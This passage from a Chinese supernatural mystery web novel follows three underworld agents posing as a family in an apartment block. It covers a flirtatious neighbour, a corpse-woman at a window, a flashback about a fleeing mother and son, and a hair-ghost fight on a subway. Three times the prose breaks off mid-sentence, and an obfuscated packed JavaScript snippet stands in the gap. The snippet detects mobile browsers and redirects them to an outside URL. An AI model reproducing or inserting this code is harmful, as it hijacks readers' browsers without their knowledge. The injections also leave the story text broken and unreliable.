这个人在周骏驰发来的文档里，是住他们楼下的邻居，403的赵红，35岁，是一个小公司的会计，老公是开出租，两个人没有孩子，她的生死籍香艳的堪比有色小说，乔林本来打算晚上留着细看的。 好家伙，合着这来了不到一个小时，住户见了俩了，怎么生前办什么事情从来没这么顺利过？ “我是前面五号楼的住户，我脚扭了，能不能帮帮我，把我掺回去？” 女人试着扶着膝盖起身，却一个没站稳，跌进了站在最前面的周骏驰的怀里。 此时的周骏驰倒不似那坐怀不乱的柳下惠，当即扶住了眼前这柔弱无骨的女人，绅士地说：“我们送你回家吧。” “谢谢你。”女人倒也不客气，结结实实地靠在周骏驰的怀里，完全当他身后的一大一小是空气。 “不客气，都是邻居，我们是新搬来的503的住户，我叫周恒。” “没想到楼上搬来了这么个大帅哥，”女人上下打量着周骏驰，妩媚的眼睛里似乎带着钩子，恨不得将周骏驰衣服一并钩下来，“我就住你楼下，403。” “我也没想到403住着这么个美人。”这种酸话从一本正经的周骏驰嘴里说出来，简直惊掉了乔林的下巴。 但转念一想也觉得正常，这种程度的应酬在周骏驰这样的成功人士眼里应该早就见怪不怪了，平时各种莺莺燕燕还不是像飞蛾扑火一样地朝他怀里扑。 他怀里的女人听了这话捂嘴轻笑，又轻轻捶了一下周骏驰结实的胸膛，娇柔的样子，看得乔林都忍不住脸红心跳，还得是勇敢的人先享受世界啊。 “他们俩是？”谢天谢地，这个女人终于注意到了身后踢踢踏踏的一大一小。 “老婆孩子。”周骏驰说得轻描淡写，女人倒是意味深长地看了乔林一眼，挑衅似的轻轻地靠在了周骏驰怀里。 这操作看得乔林眼珠子差点没掉下来，当着人家老婆的面还能这样？你这娇柔的样子看起来也没有很抗揍吧？ “我这脚扭伤了，实在自己没办法走路，还得要你扶着，你老婆不会生气吧？” 这话虽然是对乔林说的，但她的眼睛却始终没有离开周骏驰。 “怎么会怎么会，互相帮忙。”乔林尴尬地摆了摆手，她没有处理这方面工作的经验。 “你看我们刚搬过来，孩子也还小比较调皮，以后难免会吵到邻居，咱们楼都住了些什么人，好不好相处？”周骏驰问道。 “那你算问对人了，咱们五号楼的事情，就没有我不知道的，”女人点了点周骏驰的胸口，“你问多少我都能答出来，你想从哪个问起？” “我见咱们楼亮着的灯不多，难不成都空着没人住？” “住倒是住了一多半，空着的只有两三户，但咱们这栋楼的楼龄最老了，住得好多都是老头老太的，睡得早，要不就是家庭条件差的，为了省电，只开一两盏灯。” “嗯，我们对门的阿姨年龄看着确实也不小了，是老住户吗？” “那个老婆子啊？”赵红撇了撇嘴，“是老住户，那个老太太就一个人，老头早没了，先前人家都说是她克死的。” 周骏驰笑了笑没搭话。 说话间，几人来到了403门前，女人并没有拿钥匙，而是抬手敲了敲门。 开门的是赵红的老公刘成亮，41岁，本人看着比生死籍上的照片比起来更加瘦弱干枯，黑眼圈重得像是上了眼影一般。 嗯……有这样的老婆也难怪。 刘成亮看到自己的老婆在别人怀里，竟也没有一点诧异，稀松平常地闪身给赵红让出了一条路。 赵红关门前情意绵绵地看了周骏驰一眼，“忘了告诉你了，我叫赵红，以后就是邻居了，有什么需要帮助随时来找我，再见。” 门缓缓地关上了，赵红那娇艳欲滴的红唇也随之消失在了门后。 回到503，乔林长出了一口气，这简直是现实版的狼人杀，她怎么看谁都有嫌疑。 “今天就到这儿，早点休息吧。” 休息？乔林此时才意识到一个问题，这是间两室的房子，这睡觉该怎么安排？ “我要和妈妈睡。”谢必安紧紧地抱住了乔林的大腿。 “你想得美。”乔林推开了他的脑袋。 “那你就是要和爸爸睡咯？” “我！……”乔林脸涨得通红，咬牙切齿地说：“你们两个一个房间，我自己一个房间。” “那不行，爸爸睡觉打呼噜，我才不要和他一起睡。”说完谢必安跑进北边的小卧室，啪嗒一声锁上了门。 这……乔林看了一眼周骏驰，他没看乔林，靠在沙发上，打开了电视机。 “你去主卧睡吧，我在客厅。” 乔林有点不好意思，说道：“你在主卧睡吧，我在客厅。” “我不想睡。”周骏驰的没看乔林，注意力似乎都在电视上，他的语气听起来客气中又带有一丝送客的意味——他不想再继续这个话题。 “……近期新型毒品正加速扩散，常伪装成奶茶、电子烟、软糖等日常物品，以‘潮流解压’为噱头诱骗民众，尤其瞄准青少年，成瘾性和毒性极强……” 乔林张了张嘴，她想说，“反正是张双人床，要不我们一起睡吧，沙发躺着不舒服。”但又觉得这句话怎么表达都不合适，只得悻悻地回了屋，把门留了个缝儿。 躺在床上的乔林翻来覆去也睡不着，卧室的窗户没有关严实，屋内吹来一阵风，吹动了窗边的白纱，涌动的白纱像有了生命一般，在向乔林招手，想到此行的目的，乔林心里有点犯怵，她起身去关窗。 窗外，一轮明月高悬在空中，算算日子，也快到八月十五了。 正当乔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136018|196284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林看月亮看得出神，一阵窸窸窣窣的声音传入了她的耳朵。什么声音？她回头看了看屋内，声音却从她的背后再一次传来，声音来自窗外。 紧接着，一团阴影渐渐地爬上了乔林的窗户，与她在地上的影子逐渐重合，直到完全盖住。 乔林僵直地转过头来，窗外一个光着身子的女人将身体扭成了蜘蛛的样子，趴在窗外的防盗网上，透过乌黑的长发向内张望着。 她的躯干上遍布了大块大块青紫色的尸斑，可见死了有些时候了。 乔林腿一软，“彭”的一声跌坐在了地上。 很快她身后传来了推开门的声音。 “怎么了？” 乔林回头，谢天谢地！是周骏驰！ “窗外！” 可当她再次回头时，却发现窗外空无一人。 周骏驰走到窗边，向外张望了一番，但似乎没有什么发现，便再次关上了窗户。 “刚才窗外有个女人！真的！”乔林赶紧站起身解释道。 “什么样的女人？” “光着身子，很年轻，像蜘蛛一样趴在窗户上。”乔林边解释边手脚并用地比画着。 “长什么样子看见了吗？” “没看见，她的头发把脸全挡住了。” 周骏驰思考片刻，安抚乔林道：“不用担心，她看不到里面。” “她会是那个恶鬼吗？” “不好说，也许只是傀儡。” 说罢两人都沉默了，周骏驰转身准备离开。 “今晚别走了，万一她再来呢，”乔林开口，又觉得这话有些不妥，补充道，“这床这么大，咱们一人睡一边。” 周骏驰看了看窗户又看了看乔林，“……好吧。” “我去倒杯水。”乔林故作镇定地说。 冰箱的光照亮了乔林红红的脸，她做了个深呼吸，让冰箱里的冷气给自己降了降温。 乔林回到房间里，周骏驰已经睡下了，她坐在床边静静地端详着眼前的人，他真好看啊，皮肤白且细腻，纤长的睫毛在高挺的鼻梁上投下了浅浅阴影。 乔林觉得命运有点神奇，之前在手机和电视里总能看到他的消息，当时根本不敢想象，有一天会和这个人共处一室。 你说这个人，长得好就算了，还那么有能力，长得好又有能力就算了，关键是还那么有钱，唯一遗憾的…… 乔林想到了周骏驰离奇的死，想必他也有他的痛处吧…… 周骏驰躺到了床上，房间里是乔林留下的若有似无的清香，他本没有睡意，这香味让他的心慢慢沉了下去，他竟睡着了。 这短暂的一段睡眠让他做了一个长长的梦，梦里他在小小的巷子里奔跑，身后有一股说不出的恐惧正在追逐他。 小巷是他儿时的小巷，他应该轻而易举得就能找到回家的路，但是这次无论他怎么走，都没有看到那扇熟悉的门，直到身后的白雾将他全部笼罩。 雾中有人一闪而过，他追过去，只看到了一条红色的裙子漂浮在雾中。 他走上前，拉住了红裙的一角，那红裙上的颜色竟像血一般流到了他的手上，他惊恐的抬起头，是安心，安心正在朝他挥手，两行血泪无声得从她美丽的脸颊上滑落，滴在了雪白的裙子上。 他想追上去，却发现身体一动也不能动，挣扎之际，他感到床轻轻地动了一下。 周骏驰睁开眼，一袭白裙的女人正坐在他的床头，眼前的人和梦中的人重叠到了一起。 周骏驰的胸口像被一只无形的手狠狠攥住，喉咙里也蔓延着说不清的酸涩。 他拽起乔林拉到怀里，乔林吓了一跳，但马上想到，周骏驰是在和她演戏，估计窗外……她紧张地屏住了呼吸。 扑通扑通，啊，是他的心跳声，紧贴着自己的后背结实有力地跳动着，乔林逐渐地放松了下来。 这种感觉……很奇妙，靠着周骏驰的胸膛，这时候该放松吗？窗外的东西走了吗？…… 可她的眼皮实在扛不住了，平时都挺能熬夜的，今天怎的…… 5. 记忆中的红莲之一 其实，在上幼儿园之前，安跑跑没觉得自己和别人有什么不一样。 “这周五咱们幼儿园要举行亲子运动会，运动会的通知老师已经放到了你们的小书包里，小朋友们一定要记得转交给大人，爸爸妈妈都要来参加哦，知道了吗？” “知～道～了” 底下的小豆丁们齐声回答。 只有一个皮肤白白眼睛大大的小豆丁脸涨得通红，他似乎有话想说，但老师这时又没有让问问题，他也不敢直接张口，着急的眼泪直打转。 “跑跑你怎么了？” 好在王老师及时发现了这颗快流泪的小红豆。 “我、我没有爸爸！也可以参加吗？”小红豆大声说道，他真的很想参加运动会。 “哈哈哈哈哈哈！”其他的小朋友们一齐大声笑了起来，跑跑不知道这又有什么好笑的。 “笑什么？你们都有爸爸吗？”跑跑气鼓鼓地说道。 “哈哈哈哈哈哈哈哈！”小朋友们笑得更欢了。 “没关系，那让妈妈来也可以。” 王老师温柔地笑着回答，跑跑喜欢王老师笑，但是当然，他更喜欢妈妈，不对不对，是最喜欢妈妈了。 那天，他第一次问妈妈，为什么自己没有爸爸，妈妈洗菜的背影轻轻抖了一下，像是打了个寒战。 她试图平复了一下心情，做了个深呼吸，回答道：“爸爸这种东西不是谁都有的，有的人有，有的人没有，有的人虽然有但是不如没有，对你而言，没有是你的幸运。” 面对妈妈绕口令似的一段话，跑跑似懂非懂地点点头，反正没有爸爸并没有对跑跑的生活产生什么影响。 但是那晚跑跑在和妈妈用旧衣服给自己做的玩具——屁屁先生——道过晚安后做了一个奇怪的梦。 他梦见一个高大的男人的背影，跑跑想看看这人是谁，可无论怎么跑都始终追不上那个人，跑跑在梦里就认为那个人是爸爸，于是朝着对方大喊，可当那人转过身来时，一团黑雾罩在那人的脸上，他朝跑跑伸出了长长的手臂，试图要抓住他。 跑跑吓醒了，窗外天亮了，身旁是一脸关切的妈妈。 “做噩梦了吗？”妈妈没睡醒的声音还带有几分沙哑，跑跑听得很安心，钻到了妈妈的怀里。 周五的运动会到了，这是小朋友们的第一次运动会，虽说家长们平时接送孩子时也都有见面，但在今天这种特殊的日子里，大家还是都打扮了一番，展现出了和平时不一样的一面。 家长们三五成群熟络地凑在一起家长里短，不是暗戳戳炫耀着自己的孩子，“我们家的孩子就是太调皮了，你看看，就他跑得快。”“我家的不行，不爱跑动，就喜欢坐在那儿看绘本，我说让她多动动，人家都不带理我的。” 就是抱怨工作和婆婆，“你家孩子谁给你看？我婆婆从来不看孩子，都是我自己。”“你有时间看也行啊，我这上班根本没时间，也没办法，我婆婆做饭难吃的要死，你看我们孩子瘦的。” 安心谁也不认识，平时安心很少接跑跑放学，好在家就在幼儿园的旁边，几步路就到，当然也正是因为这个原因，安心才选择了这家幼儿园，因为她实在没时间。 有时下班稍早些，两人还能一起吃个晚饭，但是很多时候，她到家时跑跑已经睡了，洗碗池旁是跑跑的小凳子，碗已经洗得干干净净，连水渍也擦干净了。 没人找她搭话，她更乐得清闲。 今天安心穿了一条白色的裙子，稍显宽松的白裙在微风中勾勒出她曼妙的身材，乌黑的长发随意地在脑后扎着，几缕碎发贴在脖颈间，为这张明媚的脸平添了几分慵懒。 “妈妈你真漂亮。” 跑跑注意到周围总有人时不时地偷偷看妈妈，自豪极了，这条裙子是他给妈妈挑的，是他最喜欢的一件。 “各就各位！”王老师手持发令枪。 赛场上清一色是穿着运动服的爸爸们，而这其中，一袭白裙的安心显得有些格格不入，但她的眼神里没有丝毫的焦虑和胆怯，反倒写满了不在乎和志在必得。 “妈妈，我们能赢吗？”坐在安心肩膀上的跑跑因为紧张而小脸通红。 “当然，你抓紧妈妈，无论如何也不要放手。” “嘭”发令枪响，安心向前冲了出去。 心跳加速，血液涌动，让安心有一种自由的快乐，让她想起了之前跑马拉松的时光，那时她还是体育界一颗冉冉上升的新星。 很快，她们第一个到达了爬行管道，显然要过这个管道穿裙子将会非常不方便，连肩膀上的跑跑也意识到了。 “妈妈，都怪跑跑……” “这有什么，比赛还没结束呢，我们一起想办法。” 此时，已经有人超过了他们钻进了爬行跑道。 安心利落地将身后的裙子拽过来，和前边的在腿中间系成了一个死结，低头钻进管道。 草坪上的塑料小草透过绳子管道的间隙摩擦着安心的膝盖，但却丝毫没有影响她爬行的速度，她们再次回到了第一的位置。 管道的尽头是一根绳子，最后一关是三人两足，安心利落地将两人的腿绑在一起。 “一二一二……” 母子俩一步一步默契地向前跑着。 斜后方的一名爸爸，因为只顾着自己朝前跑，和同行的女儿步伐不一致，再加上着急，没站稳身体向前扑去。 不知道是有意还是无意，他的手向前伸，够到了安心跑动时被风带起的衣袖。 于是，这两队人马双双倒地。 “为什么不听爸爸指挥？”男人懊恼地对女儿抱怨，小女孩坐在地上哇哇大哭了起来。 “你自己摔了骂什么孩子？！”人群中响起了叫骂声，应该是女孩的妈妈，见女儿哭了，边骂边朝这边跑来。 安心也赶紧扶起摔倒的跑跑。 “要不要和妈妈再试一次？” 跑跑眼神坚定地点了点头。 好在没有落后太多，其间还有其他摔倒的队伍。 “我们要冲刺咯跑跑！一二一二！” 两人卯足了劲，跑跑脸涨得通红，额头上汗珠顺着脸流下来，流进眼睛了，汗液刺激得左边眼睛生疼，跑跑就闭上一只眼睛。 显然他遗传到了妈妈的运动天赋，小手臂前后摆动得飞快。 “赢了！” 安心抱起跑跑，两人在草地上欢呼，见被女人拿了第一，其中一些爸爸的眼神却开始由一开始的贼眉鼠眼变成了微妙的不友好。 但这不重要，因为运动会之后没多久，跑跑就换了一家幼儿园——他们搬家了。 这次搬家之后，他们又搬了几次家，跑跑不喜欢搬家，好不容易熟悉了新的环境有了新的朋友，况且他们每次搬家都很匆忙，甚至来不及和朋友道一声再见，但是安心根本不理会跑跑的反对，只是将他抱在怀里低声说着“抱歉”。 他舍不得看妈妈这样难过，后来再搬家，他便撸起袖子熟练跟妈妈一起收拾东西，妈妈一定有什么不得不搬的理由。 在一次次的搬家中，跑跑上小学了。 一个很平常的放学后，平常的就像之前的所有的放学后一样。跑跑收拾完书包，走出校门，朝家的方向走去。 却在过第二条马路时，觉得背后没由来的一凉，接着他嗅到了一股若有若无的泥土和潮湿的味道。 他扭头看了看，身后是和平常一样的人群，那个每天都会在这个时间出现的小贩，也和往常一样开始摆摊。 难道是自己想多了？ 跑跑挠挠头，绿灯时间快到了，他赶紧跑过了马路。 但跑跑没想到，从那天起，那股让人背后一凉的目光，却像影子一样紧紧地黏上了他。 “妈，我最近总觉得好像有人在背后盯着我似的。” 跑跑以为这是一句很平常的抱怨，他以为妈妈会笑话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136019|196284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他是胆小鬼，说是他多心了。 但出乎意料，对面的安心却面露惊恐地僵在原地，手中的盘子也摔到了地上，盘中西红柿的汤汁溅在了她的裤子上，留下了血一样的红色。 “快收拾东西，我们马上搬家，去、去L市，不不，那儿太近了，去H市。” “妈，你怎么了？学校那边怎么办？” “我来想办法，你快去收拾东西。” “妈，也许是我多想了呢，我们没必要这么晚了……” “快去！”没等跑跑说完，安心一脸严肃地下达了最后通牒。 于是在夜色中，母子二人坐上了开往H市的一辆面包车，车的后面，是两人全部的家当。 一路上安心都紧紧攥着跑跑的手，好像一撒手，他就会像气球一样，从窗户飞走了。 H市比他们之前生活的城市要大得多，也冷得多，安心找了一套小小的一居室，两人算是落听了。 开始几天，安心连门都不让跑跑出，跑跑只得在家自己看书，自学课本的内容。 好在跑跑确实聪明，课本的内容随便翻翻就全都会了，安心也在家，就会教他一些比较难的内容。 跑跑的大脑就像海绵，不管多难的知识，很快也就吸收了。 母子二人度过了一段很快乐的时光，但是好景不长，甚至可以说是非常短暂，一周后，米缸见底了，家里的钱所剩无几，安心愧疚地看着跑跑，又看看手中的零钱。 “妈妈明天要去找个工作，你自己在家可以吗？” “没问题。”跑跑拍了拍妈妈的肩膀，装出一副小大人的样子，逗得安心扑哧一笑。 “一切都会过去的。”安心拥抱了跑跑，这话虽是在对跑跑说，其实也是对自己说。 第二天安心就出去找工作了。 晚上回来的安心脸上带着笑，外面的冷风吹红了她的脸，此刻看起来，却像是幸福的红晕。 “你猜怎么着？” 安心神秘兮兮地对跑跑说。 “你找到工作了？” “哈哈，没错臭小子，而且老板娘人很好，她说顾客没吃完的东西我可以打包回来，看看这是什么？” 安心从背后拿出一个塑料袋，里面是半份鱼香肉丝。 “哇！谢谢妈妈！我最爱吃的鱼香肉丝！” “而且她还预支了我半个月的工资。” 跑跑给了安心一个大大的拥抱。 吃完饭后，安心要买点日常用品，洗发露这些倒是可以等等，只是这卫生纸也只剩下两格了。 随着妈妈关门的声音，跑跑的心不知为何也跟着咯噔了一下，他自嘲了一句胆小鬼，这么大了还害怕，小卖部就在小区门口，有什么好怕的。 跑跑看了会儿书，见妈妈还不回来，心想妈妈是不是为了省钱去远一点的大超市了？ 他偷偷看了会儿电视，直到钟表的指针指向了十，跑跑实在坚持不住，乖乖地洗漱完毕，睡觉去了。 妈妈再回来时是半夜了，跑跑已经睡着了，开关门的声音让他从梦中迷糊地睁开了眼。 此时妈妈坐在他的床头，客厅的灯光照进卧室，打在妈妈的背后，她的脸上没有光，很暗。 他太困了，只能勉强睁开一点眼睛。 是妈妈，正坐在床头看着自己，她的眼角不知为何亮闪闪的，哦，外面很冷，妈妈的睫毛结霜了，他想抱抱妈妈给她一点温暖，但他实在太困了，没等抬起手就又睡了过去。 再睁开眼睛时，他在一间甚至连想象都到达不了的豪华的房间里，床尾站着一个身着西装的中年男人。 “少爷，您醒了？” “你是谁？我妈妈呢？” “这里是您父亲的宅子。” “我爸爸？”安跑跑心里一喜，难道是爸爸找到了我和妈妈，接我们回家了？ “是的，您的父亲，周震海先生，正在客厅等您。” 6. 地铁 “走了吗？”看着窗外熹微的晨光，乔林问。 “……嗯。”周骏驰含混的答道。 \ 此时谢必安也推门进来，看了一眼旁边整理衣装的周骏驰，问道，“你怎么睡在这儿？” 他又看了看乔林，“你俩昨天一起睡的？” “什么一起睡的？只是睡在一张床上而已！”乔林赶忙解释。 “和我说的不是一个意思吗？你想到哪里了？”谢必安一脸“天真无辜”，配合上他现在的小孩子样貌，让乔林到嘴的话也憋了回去。 “我们安排一下今天的任务。”周骏驰打断了两人，可还没等他继续说下去，三人的手机一同响了起来。 不用想也知道肯定是工作群发。 发件人是刘淼-S市城隍总负责人。 “今天早上六点，管头村三人未尽阳寿突然死亡，死者灵魂失窃。” 周骏驰看了看地图，管头村距离他们的所在地不到三公里。 “昨晚你看到女尸是几点？” “大概一点半左右，你进来的时间和看见她的时间相差不到三分钟。” “女尸？”谢必安显然还不知道这个情报。 “昨天晚上一点半，有个披头散发的女尸趴在我窗户上，周骏驰听见声音进来之后，女尸就跑走了，”说罢乔林还不忘揶揄了谢必安一句，“您老这睡眠质量看来挺不错的啊。” 真是风水轮流转，这回换谢必安吃瘪了。 “那女尸有什么特征？”周骏驰把话题拉了回来。 “嗯，中等身材，看起来很年轻，头发很长。” 周骏驰调出这栋楼的住户信息，逐一核对。 “有三个符合条件的，你看看哪个可能性最大？” 乔林看了看，其中两个是203的住户，王彤彤和李雅诗，两人是大学舍友，毕业后王彤彤在城南工作，李雅诗在城北工作，两人选了一个中间点合租。 还有一个就是昨晚见过的赵红。 “不是赵红，剩下的这两个都有可能，没办法确定。”乔林皱着眉摇了摇头。 “那这样，”周骏驰看了看表，“一会儿这两个人就要出门上班了，乔林你跟着王彤彤，谢必安你跟着李雅诗，我去一趟管头村，晚上汇合。” “见机行事，注意安全。”周骏驰说着将一个亮闪闪的东西递给了乔林。 乔林接过，一条精致的项链正躺在她的手上，项链的坠子上是复杂的花纹，像是某种符咒。 几人先后出了门，乔林下到四楼时，碰到了401的住户，是个约莫五十岁的中年女人，长得有点像《功夫》里面的包租婆，卷发，是一脸横肉，看起来就不好对付。 “小姑娘看着眼生的很，是干什么来的？”“包租婆”警惕地看着乔林，不知道是不是把她当成了踩点的小偷。 “哦，你好，我是楼上新搬过来的住户。” 听到这个回答，“包租婆”脸上的警惕稍微地卸下了几分。 “哪一户呀？” “503。” “你们对门我认识，有新住户来她总要去打招呼的。”“包租婆”用试探得目光看着乔林。 “是的，那个阿姨过来和我们打过招呼了，按理说我们是新搬来的，那个阿姨年纪又那么大了，应该是我们过去跟她打招呼，可这还没来得及过去，她就先来了。” 见乔林的回答没有问题，她脸上的警惕才彻底放了下来，拉开了家常。 “你多大了？结婚了没有？” 乔林看了看表，还有五分钟，王彤彤就要出门赶地铁了。 “结婚了，孩子都有了，哦，那个，大姐，我这先上班去，有时间再来你家拜访。” “好好好，你先忙。” 乔林小跑着下了楼，找了个隐蔽的地方观察着门口的情况，不出片刻，王彤彤就从楼道里走了出来。 今天是周一，又是上班早高峰，说是跟踪，但实际乔林几乎是被一路挤到了地铁站。 奇怪的是，随着去往地铁的路上，人越来越少，直到站台前，已经只剩下了乔林和王彤彤两人。 但是看上去彤彤似乎并没有发现，乔林问自己，现在这种情况，不知道是她发现了正常，还是没发现正常？ 乔林不敢跟太近，始终保持一段距离，不远不近地跟着，直到地铁到站，两人先后上了前后两节车厢。 地铁在黑暗的隧道中疾驰，车轮与铁轨摩擦的声响单调而刺耳，混着车厢顶部通风口的嗡鸣，在空旷的空间里不断回荡。 乔林缩在两节车厢衔接的角落，尽量让自己贴紧冰冷的金属壁，目不转睛地盯着斜前方的彤彤。 彤彤没有看手机，只是定定地看着窗外，脊背挺得笔直，透着一种说不出的僵硬，看着像是脖子落枕了。 很快乔林就发现了不对劲的地方，她居然没玩手机。 这不对，在空无一人的地铁上不玩手机的人真的存在吗？ 难道她已经发现我了？乔林屏住呼吸，想做点防御准备，但想想自己好像实在没什么能准备的，于是从放松地观察，变成了紧张地观察。 窗外只有飞速掠过的黑暗，偶尔有站台灯光或广告灯箱闪过，橘色或蓝色的光短暂地泼在她脸上，勾勒出她略显苍白的脸颊和毫无波澜的眼尾。 她像一尊没有灵魂的人偶，被固定在了座位上，一动不动，在此刻时间仿佛也被按下了停止键，隔绝在了这节车厢之外。 乔林心中暗暗祈祷着，希望这趟地铁赶快到站。 就在此时，彤彤忽然动了，她的全身开始剧烈地颤抖起来。 彤彤这诡异的动作果然印证了她的猜想，乔林心中默默流泪，真的有这么倒霉吗？偏偏让我挑中了那个恶鬼？妈的，有这运气生前怎么买刮刮乐从来都没中过？ 彤彤颤抖的幅度开始越来越大，原本空洞的眼睛里，忽然翻涌起一层灰蒙蒙的雾气，顺着眼白蔓延开来。喉咙里也跟着发出一种像是呜咽又像是嘶吼的声音，模糊在地铁的轰鸣里。 昏暗的地铁、空无一人的车厢，跟恐怖电影里演得似的，只是演员换成了台下的乔林。 眼看着彤彤就要变身了，乔林痛苦地闭上了眼，哎，三十六计走为上策。 转身，后退，脚跟却不小心撞到了身后的车壁，发出“咚”的一声轻响。 呵呵，这下更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136020|196284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还原了，漂亮国恐怖电影里不也总有这种笨手笨脚的人来推动剧情吗？先前看的时候还会骂导演弱智，此刻却狠狠地共情了，果然世界就是一个巨大的打脸。 这声响动像是触发了某个机关，彤彤猛地转过头来。 四目相对，她的眼睛已经完全变了，眼白被一层灰雾彻底覆盖，瞳孔缩成了针尖大小，死死地盯着乔林藏身的方向。 “为什么跟着我？”彤彤，现在应该说是女鬼，开口了，她的声音不再是平日里那种娇软的语调，而是变得沙哑、低沉，像是有两个人的声音在喉咙里交织着发出，听起来异常诡异。 “……嗯……要说为什么……嗯……你鞋哪儿买的？能不能给个链接？” 乔林一边胡说八道，一边将身体调整到一个容易逃跑的姿势。 对面的女鬼一步步缓缓朝着车厢连接处走来。 乔林心说，虽然她的动作看起来瘆人，但是好在她的行动好像没有水鬼那么利索，也许没那么难对付，起码就目前她这个速度肯定是跟不上我的。 乔林左右张望，想找点什么趁手的家伙。 可是地铁上除了冰冷的抓握杆就是固定得死死的椅子，让人无从下手。 女鬼似乎看透了乔林的心思，她先是将头扭到一个人类不可能扭到的角度，脖颈处的皮肤像橡皮泥一样，因为过度拉伸而变得透明。 紧接着，“咯吱咯吱”的声响从女鬼的关节处传来，她原本直立的身体猛地向下弯折，用膝盖和肘关节着地，开始用一种诡异的姿势快速向前爬行。 好了好了，知道你很迅速了，不用这么快就证明。 乔林只能硬着头皮接着往前跑，可地铁车厢就这么长，跑了没几步，她就已经冲到了车厢的尽头。下一节车厢有人吗？也不知道人们能不能看见这个东西。 乔林朝后看了一眼，本应该跟在身后的女鬼此刻却消失了。 乔林站在车厢连接处四下张望，下一节车厢依旧是空空如也。 比起家里发现了一只蟑螂更恐怖的事情难道不是那只蟑螂又消失了吗？ 乔林后背死死抵住地铁的车壁，警惕地左右张望，人一紧张感觉就会变得非常敏锐，一些平时不痒痒的地方，就容易变得痒痒。 这会儿越是要集中精神，乔林就越觉得这耳朵疯狂地痒了起来。 伸手一抓，是头发，哦，是头发。 不对，乔林虎躯一震，自己明明扎了个大光明，哪里来的头发？ 她僵硬地抬起头，视线里瞬间被一片浓密的黑发填满，不等乔林做出反应，那黑发瞬间暴涨，像有生命的藤蔓一般，封死了来去路，将乔林困在了两节车厢的中间。 此时女鬼的身体像是被无形的线吊在车厢顶部，四肢自然下垂，她的手指尖离乔林的头顶只有几厘米的距离，那冰冷的气息直往乔林的衣领里钻。 女鬼空洞的眼睛死死盯着乔林，瞳孔里灰蒙蒙的雾霭翻涌得更剧烈了，像是有无数双看不见的眼睛藏在里面，正贪婪地注视着乔林。 “抓……到……你……了……” 女鬼的声音再次响起，冰冷的气息喷在乔林的额头上，让她忍不住打了个寒战。 7. 傀儡 车厢内的头发依旧在蔓延，冰凉的触感顺着乔林的裤脚向上攀爬，几乎要缠住她的脚踝。 乔林的大脑飞速运转，哦，对了，我能变东西。 金箍棒？风火轮？机关枪……变出来算了我也不会用，但前两样法器并没有回应乔林的召唤。 看来得只能变出点常用的玩意儿。 旋即，乔林的手中出现了一把烧猪毛用的手持喷火枪。 “呼”橙红色的火焰瞬间从枪口喷涌而出，焦煳味瞬间弥漫开来，被火焰碰到的黑发蜷缩成焦黑的一团，纷纷脱落。 乔林将喷枪直接对准女鬼的脸，旋钮拧到最大，女鬼发出一声比之前更尖锐的嘶鸣，龟缩进了头发深处。 接着乔林将火焰枪对准黑发组成的墙壁，很快烧出了一个大洞，乔林也趁机逃到了下一节车厢。 可一只脚刚迈进车厢，乔林就赶紧刹住了车，只见车厢内一个穿着运动服男人正一动不动地坐在椅子上，他头上的棒球帽遮住了整张脸，不知是死是活，也不知是敌是友。 乔林决定继续往前跑，起码对方还有百分之五十友军的概率，即便真是敌人，情况也不会比现更糟。 跑到男人身边时，见对方并没有理会自己，看来不是和那女鬼一伙儿的。 那女鬼也很快追了上来，显然她也发现了坐着的男人，但女鬼的目标很明确，她飞快地朝着乔林爬了过来。 爬到男人脚边时，她迟疑了片刻，可就是这片刻的迟疑，男人一跃而起踹在了女鬼的脑袋上。 随着玻璃破碎的声响，女鬼的脑袋已经卡紧了地铁车门上的玻璃里，脸上的肉皮翻起，露出了白森森的骨头，却没有一丝鲜血流出。 男人的帽子也随着他的动作掉了下来。 “周骏驰？”乔林惊喜地问道，“你怎么在这儿？” “不是让你见机行事吗？” 乔林想说，我这怎么不算是见机行事呢？ 但对面的女鬼并没有留给二人太多聊天的时间，没等乔林开口，腥臭浓密的头发再度将整个车厢包围了起来。 随着车厢顶部传来的“咯吱”一声脆响，女鬼的身影从黑发中猛地探出头，扭曲的头颅歪向一侧，空洞的眼睛死死盯着二人。 两人默契得将后背交给了对方，进入了防御状态。 “就是她，她就是昨天晚上出现在我窗口的女鬼。”乔林低声说。 “这是被怨气裹住的阴丝，”周骏驰目光扫过缠满车厢的黑发，从袖中掏出一张黄符，沉声道，“你掩护我片刻。” 乔林举起了手中的火焰枪，顷刻间，黑发突然化作无数只触手，从四面八方涌来。 她抬手扣动喷火枪扳机，橙红色火焰再次喷涌而出，“轰”的一声将迎面而来的黑发烧得蜷曲后退。 